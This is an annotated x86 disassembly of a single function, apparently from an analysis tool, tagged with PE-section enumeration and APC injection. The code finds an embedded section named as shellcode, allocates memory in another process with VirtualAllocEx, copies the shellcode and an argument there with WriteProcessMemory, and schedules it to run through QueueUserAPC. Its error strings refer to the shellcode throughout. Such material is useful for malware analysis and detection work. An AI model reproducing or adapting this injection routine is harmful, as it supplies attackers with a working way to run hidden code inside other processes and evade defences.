Function at 0x4062d0
Capabilities:
Enumerate pe sections
Inject apc

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x40b040]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40642c
mov ecx, dword [eax + 0x3c]
xor esi, esi
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
mov dword [esp + 0x24], eax
test ebx, ebx
je 0x406458
mov edi, eax
mov ecx, edi
mov eax, 0x408860
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406347
test dl, dl
je 0x406343
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406347
add eax, 2
add ecx, 2
test dl, dl
jne 0x406327
xor eax, eax
jmp 0x40634c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40635e
inc esi
add edi, 0x28
cmp esi, ebx
jge 0x406458
jmp 0x406320
lea eax, [esi + esi*4]
mov esi, dword [esp + 0x24]
mov esi, dword [esi + eax*8 + 0x10]
test esi, esi
je 0x406458
mov eax, dword [esp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x20
push 0x1000
push esi
push 0
push dword [eax]
call ebx
mov edi, eax
test edi, edi
je 0x406475
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x10]
push esi
push section.shcode
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4064a1
cmp dword [esp + 0x28], esi
jne 0x4064cd
mov eax, dword [esp + 0xc]
push 4
push 0x1000
push esi
push 0
push dword [eax]
call ebx
mov esi, eax
test esi, esi
je 0x4064ea
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x28]
push eax
push 0xc
push 0x40b09c
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x406516
cmp dword [esp + 0x28], 0xc
jne 0x406542
push esi
push dword [ebx + 4]
push edi
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x40655f
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004066a6
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x40884c
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.cannot_find_shellcode_size
lea ecx, [esp + 0x14]
call fcn.00401560
push 0x409f40
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.VirtualAllocEx__shellcode_
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WriteProcessMemory__shellcode_
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.WriteProcessMemory_didnt_write_enough_data__shellcode_
lea ecx, [esp + 0x14]
call fcn.00401560
push 0x409f40
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.VirtualAllocEx__arg_
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.WriteProcessMemory__arg_
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.WriteProcessMemory_didnt_write_enough_data__arg_
lea ecx, [esp + 0x14]
call fcn.00401560
push 0x409f40
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x40883c
mov ecx, eax
call fcn.00401cf0
push eax
push ecx
lea ecx, [esp + 0x1c]
call fcn.004019c0
push 0x409f20
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3